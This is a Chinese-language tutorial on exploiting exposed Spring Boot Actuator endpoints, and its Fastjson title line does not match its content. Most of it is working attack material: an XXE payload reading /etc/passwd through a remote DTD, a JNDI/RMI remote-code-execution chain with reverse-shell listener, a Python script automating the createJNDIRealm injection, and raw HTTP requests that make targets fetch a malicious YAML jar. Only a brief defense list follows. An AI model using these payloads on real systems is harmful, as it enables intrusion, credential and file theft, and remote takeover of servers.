Fastjson反序列化漏洞利用
字数 2589 2025-08-15 21:30:43
Spring Boot Actuator 漏洞利用全面指南
1. 漏洞概述
Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件,当应用程序运行时,它会自动将多个端点注册到路由进程中。由于对这些端点的错误配置,可能导致系统信息泄露、XXE 甚至 RCE 等安全问题。
2. 识别 Spring Boot 应用
通常通过以下特征判断网站是否使用 Spring Boot 框架:
- 网站图片文件是一个绿色的树叶
- 特有的报错信息
3. 端点描述与影响版本
端点路径及功能
| 路径 | 描述 |
|---|---|
| /autoconfig | 提供自动配置报告,记录哪些自动配置条件通过/未通过 |
| /beans | 描述应用程序上下文里全部的 Bean 及其关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性(包含默认值)如何注入 Bean |
| /dump | 获取线程活动的快照 |
| /health | 报告应用程序的健康指标 |
| /info | 获取应用程序的定制信息 |
| /mappings | 描述全部的 URI 路径及其与控制器(包含 Actuator 端点)的映射关系 |
| /metrics | 报告各种应用程序度量信息 |
| /shutdown | 关闭应用程序(需 endpoints.shutdown.enabled=true) |
| /trace | 提供基本的 HTTP 请求跟踪信息 |
版本差异
- Spring Boot 1.x:端点在根 URL 下注册
- Spring Boot 2.x:端点移动到
/actuator/路径
影响版本
- Spring Boot < 1.5:默认未授权访问所有端点
- Spring Boot >= 1.5:默认只允许访问
/health和/info端点,但此安全性常被开发人员禁用
4. 信息泄露漏洞利用
4.1 通过 /trace 端点
访问 /trace 端点可获取近期服务器收到的请求信息。如果存在登录用户的操作请求,可以伪造 cookie 进行登录。
4.2 通过 /env 端点
访问 /env 端点可获取环境属性,可能导致数据库账户等敏感信息泄露。
5. Jolokia 端点利用
5.1 reloadByURL 方法导致的 XXE 漏洞
利用条件:
- 查看
/jolokia/list中存在的 Mbeans,确认是否存在 logback 库提供的reloadByURL方法
利用步骤:
- 创建
logback.xml和fileread.dtd文件
logback.xml 内容:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd"> %remote;%int;]>
<a>&trick;</a>
fileread.dtd 内容:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
-
将文件上传到公网 VPS 的 web 目录
-
远程访问 logback.xml 文件:
http://www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
5.2 reloadByURL 方法导致的 RCE 漏洞
利用流程:
- 构造 Get 请求使目标加载恶意 logback.xml 文件
- 解析 logback.xml 触发 InitialContext.lookup(URI) 操作
- 恶意 RMI 服务器返回 Reference 对象
- 目标动态加载并实例化 BeanFactory 类,执行恶意代码
详细步骤:
- 下载并修改 RCE 利用代码(如 Spring-Boot-Actuator-Exploit)
- 修改
EvilRMIServer.java中的 RMI 监听端口和反弹 shell 地址 - 使用 Maven 编译打包:
mvn clean install
- 修改
logback.xml内容:
<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>
- 执行 RMI 服务器:
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
- 使用 nc 监听反弹 shell 端口:
nc -lvp 9998
- 触发漏洞:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/114.x.x.x!/logback.xml
5.3 createJNDIRealm 方法利用
利用条件:
- 查看
/jolokia/list中是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法
利用步骤:
- 创建 JNDIRealm
- 写入 contextFactory 为 RegistryContextFactory
- 写入 connectionURL 为 RMI Service URL
- 停止 Realm
- 启动 Realm 触发 JNDI 注入
Python 自动化脚本:
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
# 创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
# 写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
# 写入connectionURL
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
# 停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
# 启动Realm触发JNDI注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
6. Spring Cloud env 利用
利用条件:
- Spring Boot 使用 Spring Cloud 相关组件
- 存在
spring.cloud.bootstrap.location属性 - 适用版本:
- Spring Boot 2.x:无法利用
- Spring Boot 1.5.x:仅 Dalston 版本可利用
- Spring Boot <= 1.4:可利用
利用原理:
- 修改
spring.cloud.bootstrap.location为外部 yml 配置文件 URL - 请求
/refresh触发下载并解析 yml 文件 - SnakeYAML 反序列化时加载远程 jar 包执行任意代码
利用步骤:
- 下载并修改 exp(如 yaml-payload)
- 编译 Java 文件:
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
- 将 jar 文件挂载到公网 HTTP 服务器
- 修改
spring.cloud.bootstrap.location:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml
- 请求
/refresh接口触发:
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
7. 防御措施
- 升级 Spring Boot 到最新版本
- 限制 Actuator 端点的访问权限
- 禁用不必要的端点
- 使用安全配置:
management.endpoints.web.exposure.include=health,info
management.endpoint.health.enabled=true
management.endpoint.info.enabled=true
- 启用认证机制
- 监控和日志记录可疑的 Actuator 端点访问